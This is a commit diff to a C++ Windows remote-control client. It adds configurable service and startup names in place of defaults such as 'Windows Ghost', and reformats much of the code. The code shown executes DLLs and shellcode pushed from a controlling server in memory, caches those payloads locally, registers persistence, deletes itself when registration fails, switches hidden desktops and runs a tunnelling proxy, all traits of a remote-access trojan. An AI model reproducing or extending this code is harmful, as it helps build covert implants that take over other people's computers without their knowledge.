Feature: Support customizing client name and install directory

This commit is contained in:
yuanyuanxiang
2026-01-10 16:59:02 +01:00
parent 808371ed6e
commit daa70f9777
47 changed files with 1423 additions and 1171 deletions

View File

@@ -185,10 +185,16 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
InitWindowsService({ "RemoteControlService", "Remote Control Service", "Provides remote desktop control functionality." }, Log);
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc;
// 注册启动项
int r = RegisterStartup("Windows Ghost", "WinGhost", !isService, g_SETTINGS.runasAdmin, Logf);
int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
!isService, g_SETTINGS.runasAdmin, Logf);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
@@ -517,8 +523,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
//准备第一波数据
BOOL auth = FALSE;
LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings, auth);
Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
Manager = auth ? new AuthKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit) :
new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && !ClientObject->SendLoginInfo(login))
WAIT_n(app.m_bIsRunning(&app), 5 + time(0)%10, 200);
WAIT_n(app.m_bIsRunning(&app)&& ClientObject->IsRunning() && ClientObject->IsConnected(), 10, 200);

View File

@@ -34,11 +34,9 @@ std::vector<std::string> ParseMultiStringPath(const char* buffer, size_t size)
const char* p = buffer;
const char* end = buffer + size;
while (p < end)
{
while (p < end) {
size_t len = strlen(p);
if (len > 0)
{
if (len > 0) {
paths.emplace_back(p, len);
}
p += len + 1;
@@ -47,7 +45,8 @@ std::vector<std::string> ParseMultiStringPath(const char* buffer, size_t size)
return paths;
}
std::string GetExtractDir(const std::string& archivePath) {
std::string GetExtractDir(const std::string& archivePath)
{
if (archivePath.size() >= 5) {
std::string ext = archivePath.substr(archivePath.size() - 5);
for (char& c : ext) c = tolower(c);
@@ -58,7 +57,8 @@ std::string GetExtractDir(const std::string& archivePath) {
return archivePath + "_extract";
}
std::string GetDirectory(const std::string& filePath) {
std::string GetDirectory(const std::string& filePath)
{
size_t pos = filePath.find_last_of("/\\");
if (pos != std::string::npos) {
return filePath.substr(0, pos);
@@ -70,34 +70,32 @@ VOID CFileManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
switch (lpBuffer[0]) {
case CMD_COMPRESS_FILES: {
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
zsta::Error err = zsta::CZstdArchive::Compress(std::vector<std::string>(paths.begin() + 1, paths.end()), paths.at(0));
if (err != zsta::Error::Success) {
Mprintf("压缩失败: %s\n", zsta::CZstdArchive::GetErrorString(err));
}
else {
std::string dir = GetDirectory(paths.at(0));
SendFilesList((char*)dir.c_str());
} else {
std::string dir = GetDirectory(paths.at(0));
SendFilesList((char*)dir.c_str());
}
break;
}
case CMD_UNCOMPRESS_FILES: {
std::string dir;
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
std::vector<std::string> paths = ParseMultiStringPath((char*)lpBuffer + 1, nSize - 1);
for (size_t i = 0; i < paths.size(); i++) {
const std::string& path = paths[i];
std::string destDir = GetExtractDir(path);
zsta::Error err = zsta::CZstdArchive::Extract(path, destDir);
if (err != zsta::Error::Success) {
Mprintf("解压失败: %s\n", zsta::CZstdArchive::GetErrorString(err));
} else {
dir = GetDirectory(path);
}
else {
dir = GetDirectory(path);
}
}
}
if (!dir.empty()) {
SendFilesList((char*)dir.c_str());
}
}
break;
}
case COMMAND_LIST_FILES:// 获取文件列表

View File

@@ -142,7 +142,8 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser
}
template <typename T = DllExecuteInfo>
class DllExecParam {
class DllExecParam
{
public:
T *info;
PluginParam param;
@@ -184,14 +185,14 @@ public:
};
typedef int (*RunSimpleTcpFunc)(
const char* privilegeKey,
long timestamp,
const char* serverAddr,
int serverPort,
int localPort,
int remotePort,
int* statusPtr
);
const char* privilegeKey,
long timestamp,
const char* serverAddr,
int serverPort,
int localPort,
int remotePort,
int* statusPtr
);
DWORD WINAPI ExecuteDLLProc(LPVOID param)
{
@@ -229,14 +230,14 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
FrpcParam* f = (FrpcParam*)user;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
SAFE_DELETE_ARRAY(user);
@@ -246,7 +247,7 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
break;
}
if (info.CallType != CALLTYPE_FRPC_CALL)
runner->FreeLibrary(module);
runner->FreeLibrary(module);
} else if (info.RunType == SHELLCODE) {
bool flag = info.CallType == CALLTYPE_IOCPTHREAD;
ShellcodeInj inj(dll->buffer, info.Size, flag ? "run" : 0, flag ? &pThread : 0, flag ? sizeof(PluginParam) : 0);
@@ -568,46 +569,47 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
}
template<typename T = DllExecuteInfo>
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) {
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
const int sz = 1 + sizeof(T);
if (ulLength < sz) return FALSE;
const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
iniFile cfg(CLIENT_PATH);
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
{
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
const int sz = 1 + sizeof(T);
if (ulLength < sz) return FALSE;
const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
iniFile cfg(CLIENT_PATH);
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE;
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
find = m_MemDLL.find(md5);
}
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) {
if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
Mprintf("Save DLL to registry: %s\n", md5);
}
data = szBuffer + sz;
}
if (data) {
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
}
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
find = m_MemDLL.find(md5);
}
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) {
if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
Mprintf("Save DLL to registry: %s\n", md5);
}
data = szBuffer + sz;
}
if (data) {
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
}
return data != NULL;
}
@@ -741,7 +743,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
break;
}
case CMD_EXECUTE_DLL_NEW: {
case CMD_EXECUTE_DLL_NEW: {
if (sizeof(szBuffer) == 4) {
Mprintf("CKernelManager ExecDLL failed: NOT x64 client\n");
break;
@@ -750,11 +752,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
char* user = info ? new char[400] : 0;
if (user == NULL) break;;
if (info) memcpy(user, info->Parameters, 400);
if (!ExecDLL<DllExecuteInfoNew>(this, szBuffer, ulLength, user)) {
Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength);
}
break;
}
if (!ExecDLL<DllExecuteInfoNew>(this, szBuffer, ulLength, user)) {
Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength);
}
break;
}
case TOKEN_PRIVATESCREEN: {
char h[100] = {};
@@ -960,7 +962,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
}
}
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) {
void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
@@ -994,8 +997,8 @@ int AuthKernelManager::SendHeartbeat()
auto passCode = THIS_CFG.GetStr("settings", "Password", "");
auto pwdHmac = THIS_CFG.GetStr("settings", "PwdHmac", "");
uint64_t value = std::strtoull(pwdHmac.c_str(), nullptr, 10);
strcpy_s(a.SN, SN.c_str());
strcpy_s(a.Passcode, passCode.c_str());
strcpy_s(a.SN, SN.c_str());
strcpy_s(a.Passcode, passCode.c_str());
memcpy(&a.PwdHmac, &value, 8);
BYTE buf[sizeof(Heartbeat) + 1];
@@ -1005,19 +1008,19 @@ int AuthKernelManager::SendHeartbeat()
return 0;
}
void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength) {
void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength > sizeof(HeartbeatACK)) {
HeartbeatACK n = { 0 };
memcpy(&n, szBuffer + 1, sizeof(HeartbeatACK));
m_nNetPing.update_from_sample(GetUnixMs() - n.Time);
if (n.Authorized == TRUE) {
Mprintf("======> Client authorized successfully.\n");
// Once the client is authorized, authentication is no longer needed
// So we can set exit flag to terminate the AuthKernelManager
Mprintf("======> Client authorized successfully.\n");
// Once the client is authorized, authentication is no longer needed
// So we can set exit flag to terminate the AuthKernelManager
g_bExit = S_CLIENT_EXIT;
}
}
else if (ulLength > 8) {
} else if (ulLength > 8) {
uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t));
m_nNetPing.update_from_sample(GetUnixMs() - n);

View File

@@ -132,7 +132,7 @@ public:
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
virtual ~CKernelManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
ThreadInfo* m_hKeyboard;
ThreadInfo m_hThread[MAX_THREADNUM];
// 此值在原代码中是用于记录线程数量当线程数量超出限制时m_hThread会越界而导致程序异常
@@ -218,7 +218,7 @@ public:
class AuthKernelManager : public CKernelManager
{
public:
bool m_bFirstHeartbeat = true;
bool m_bFirstHeartbeat = true;
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: CKernelManager(conn, ClientObject, hInstance, kb, s)

View File

@@ -338,12 +338,11 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne
HANDLE hEvent2 = OpenEventA(SYNCHRONIZE, FALSE, std::string("EVENT_" + pid).c_str());
WIN32_FILE_ATTRIBUTE_DATA fileInfo;
GetFileAttributesExA(buf, GetFileExInfoStandard, &fileInfo);
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024)
{
if ((hEvent1 != NULL || hEvent2 != NULL) && fileInfo.nFileSizeLow > 16 * 1024 * 1024) {
Mprintf("Check event handle: %d, %d\n", hEvent1 != NULL, hEvent2 != NULL);
isAuthKernel = TRUE;
isAuthKernel = TRUE;
SAFE_CLOSE_HANDLE(hEvent1);
SAFE_CLOSE_HANDLE(hEvent2);
SAFE_CLOSE_HANDLE(hEvent2);
config*cfg = conn.pwdHash == masterHash ? new config : new iniFile;
str = cfg->GetStr("settings", "Password", "");
delete cfg;

View File

@@ -28,18 +28,17 @@ unsigned int __stdcall ThreadLoader(LPVOID param)
SelectDesktop(NULL);
nRet = arg.start_address(arg.arglist);
}
catch (...) {
} catch (...) {
};
return nRet;
}
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive)
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARGLIST arg;
@@ -133,8 +132,7 @@ HDESK OpenActiveDesktop(ACCESS_MASK dwDesiredAccess)
Mprintf("OpenDesktop Default failed: %d\n", GetLastError());
}
}
}
else {
} else {
Mprintf("OpenWindowStation failed: %d\n", GetLastError());
}
}
@@ -149,8 +147,7 @@ HDESK IsDesktopChanged(HDESK currentDesk, DWORD accessRights)
if (!currentDesk) {
return hInputDesk;
}
else {
} else {
// 通过桌面名称判断是否真正变化
char oldName[256] = { 0 };
char newName[256] = { 0 };
@@ -195,18 +192,17 @@ HDESK SelectDesktop(TCHAR* name)
if (name != NULL) {
// Attempt to open the named desktop
desktop = OpenDesktop(name, 0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
else {
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
} else {
// No, so open the input desktop
desktop = OpenInputDesktop(0, FALSE,
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW |
DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS |
DESKTOP_SWITCHDESKTOP | GENERIC_WRITE);
}
// Did we succeed?
@@ -252,8 +248,7 @@ BOOL CManager::Send(LPBYTE lpData, UINT nSize)
int nRet = 0;
try {
nRet = m_ClientObject->Send2Server((char*)lpData, nSize);
}
catch (...) {
} catch (...) {
Mprintf("[ERROR] CManager::Send catch an error \n");
};
return nRet;

View File

@@ -30,11 +30,11 @@ typedef IOCPClient CClientSocket;
typedef IOCPClient ISocketBase;
HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive = false);
SIZE_T dwStackSize, // initial stack size
LPTHREAD_START_ROUTINE lpStartAddress, // thread function
LPVOID lpParameter, // thread argument
DWORD dwCreationFlags, // creation option
LPDWORD lpThreadId, bool bInteractive = false);
class CManager : public IOCPManager
{

View File

@@ -25,8 +25,7 @@ public:
{
for (size_t i = 0; i < numThreads; ++i) {
workers.emplace_back([this] {
while (true)
{
while (true) {
std::function<void()> task;
{
std::unique_lock<std::mutex> lock(this->queueMutex);
@@ -226,13 +225,15 @@ public:
return m_nScreenCount;
}
virtual bool IsOriginalSize() const {
return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth &&
m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight;
virtual bool IsOriginalSize() const
{
return m_BitmapInfor_Full->bmiHeader.biWidth == m_BitmapInfor_Send->bmiHeader.biWidth &&
m_BitmapInfor_Full->bmiHeader.biHeight == m_BitmapInfor_Send->bmiHeader.biHeight;
}
virtual bool IsLargeScreen(int width, int height) const {
return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height;
virtual bool IsLargeScreen(int width, int height) const
{
return m_BitmapInfor_Send->bmiHeader.biWidth > width && m_BitmapInfor_Send->bmiHeader.biHeight > height;
}
virtual BOOL IsMultiScreenEnabled() const
@@ -477,18 +478,15 @@ public:
return offset; // 返回缓冲区的大小
}
virtual int GetFrameID() const
{
virtual int GetFrameID() const {
return m_FrameID;
}
virtual LPBYTE GetFirstBuffer() const
{
virtual LPBYTE GetFirstBuffer() const {
return m_FirstBuffer;
}
virtual int GetBMPSize() const
{
virtual int GetBMPSize() const {
assert(m_BitmapInfor_Send);
return m_BitmapInfor_Send->bmiHeader.biSizeImage;
}
@@ -603,7 +601,7 @@ public:
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int err = m_encoder->encode(nextData, 32, 4* m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
if (err) {
return nullptr;
}
@@ -626,7 +624,7 @@ public:
uint8_t* encoded_data = nullptr;
uint32_t encoded_size = 0;
int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight, &encoded_data, &encoded_size);
if (err) {
return nullptr;
}
@@ -675,10 +673,11 @@ public: // 纯虚接口
// 获取下一帧屏幕
virtual LPBYTE ScanNextScreen() = 0;
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) {
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap)
{
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight)
return bitmap;
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biHeight);
m_BitmapInfor_Send->bmiHeader.biHeight);
}
};

View File

@@ -109,8 +109,8 @@ public:
// 9. 初始化 BITMAPINFO
m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight);
iniFile cfg(CLIENT_PATH);
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
iniFile cfg(CLIENT_PATH);
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
switch (strategy) {
case 1:
break;
@@ -128,8 +128,8 @@ public:
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomFirst = nullptr;
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
m_BmpZoomFirst = nullptr;
break;
} while (true);
@@ -154,14 +154,15 @@ public:
if (d3dDevice) d3dDevice->Release();
}
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override {
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override
{
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) {
memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage);
return bitmap;
}
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biHeight);
}
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
m_BitmapInfor_Send->bmiHeader.biHeight);
}
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override
{
@@ -181,8 +182,8 @@ public:
{
ULONG ulNextScreenLength = 0;
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
if (ret)
return nullptr;

View File

@@ -102,17 +102,17 @@ bool CScreenManager::SwitchScreen()
bool CScreenManager::RestartScreen()
{
if (m_ScreenSpyObject == NULL)
return false;
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
if (s == WAIT_TIMEOUT) {
TerminateThread(m_hWorkThread, -1);
}
m_bIsWorking = TRUE;
m_SendFirst = FALSE;
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
return true;
if (m_ScreenSpyObject == NULL)
return false;
m_bIsWorking = FALSE;
DWORD s = WaitForSingleObject(m_hWorkThread, 3000);
if (s == WAIT_TIMEOUT) {
TerminateThread(m_hWorkThread, -1);
}
m_bIsWorking = TRUE;
m_SendFirst = FALSE;
m_hWorkThread = __CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
return true;
}
std::wstring ConvertToWString(const std::string& multiByteStr)
@@ -202,8 +202,7 @@ BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName)
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess)
{
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
@@ -284,7 +283,8 @@ void CScreenManager::InitScreenSpy()
}
}
BOOL IsRunningAsSystem() {
BOOL IsRunningAsSystem()
{
HANDLE hToken;
PTOKEN_USER pTokenUser = NULL;
DWORD dwSize = 0;
@@ -298,18 +298,18 @@ BOOL IsRunningAsSystem() {
pTokenUser = (PTOKEN_USER)malloc(dwSize);
if (pTokenUser && GetTokenInformation(hToken, TokenUser, pTokenUser,
dwSize, &dwSize)) {
dwSize, &dwSize)) {
// 使用 WellKnownSid 创建 SYSTEM SID
BYTE systemSid[SECURITY_MAX_SID_SIZE];
DWORD sidSize = sizeof(systemSid);
if (CreateWellKnownSid(WinLocalSystemSid, NULL, systemSid, &sidSize)) {
isSystem = EqualSid(pTokenUser->User.Sid, systemSid);
if (isSystem){
if (isSystem) {
Mprintf("当前进程以 SYSTEM 身份运行。\n");
} else {
Mprintf("当前进程未以 SYSTEM 身份运行。\n");
}
}
}
}
@@ -525,8 +525,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
cfg.SetInt("settings", "ScreenStrategy", strategy);
cfg.SetInt("settings", "ScreenWidth", width);
cfg.SetInt("settings", "ScreenHeight", height);
switch (strategy)
{
switch (strategy) {
case 0:
if (m_ScreenSpyObject && m_ScreenSpyObject->IsLargeScreen(1920, 1080)) RestartScreen();
break;
@@ -588,8 +587,8 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
memcpy(h, szBuffer + 1, ulLength - 1);
m_hash = std::string(h, h + 64);
m_hmac = std::string(h + 64, h + 80);
std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : "";
SAFE_DELETE_ARRAY(h);
std::string files = h[80] ? std::string(h + 80, h + ulLength - 1) : "";
SAFE_DELETE_ARRAY(h);
if (OpenClipboard(nullptr)) {
EmptyClipboard();
CloseClipboard();

View File

@@ -61,7 +61,7 @@ public:
bool IsRunAsService() const
{
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
return true;
return true;
static BOOL is_run_as_system = IsRunningAsSystem();
return is_run_as_system;
}

View File

@@ -18,9 +18,9 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL
m_GOP = gop;
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
iniFile cfg(CLIENT_PATH);
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
iniFile cfg(CLIENT_PATH);
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
switch (strategy) {
case 1: // 1 - Original size

View File

@@ -147,9 +147,9 @@ public:
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
BOOL ret = FALSE;
if (PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT) || SendMessageTimeout(hWnd, WM_PRINT,
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
(WPARAM)hDcWindow, PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL)) {
BitBlt(data->GetScreenDC(), rect.left - data->X(), rect.top - data->Y(),
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
rect.right - rect.left, rect.bottom - rect.top, hDcWindow, 0, 0, SRCCOPY);
ret = TRUE;
}

View File

@@ -9,6 +9,15 @@ typedef struct MyService {
char Description[512];
} MyService;
inline MyService NewService(const char* name, const char* display, const char* description)
{
MyService s;
strcpy(s.Name, name);
strcpy(s.Display, display);
strcpy(s.Description, description);
return s;
}
typedef void (*ServiceLogFunc)(const char* message);
#ifdef __cplusplus

View File

@@ -34,8 +34,8 @@ typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWO
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
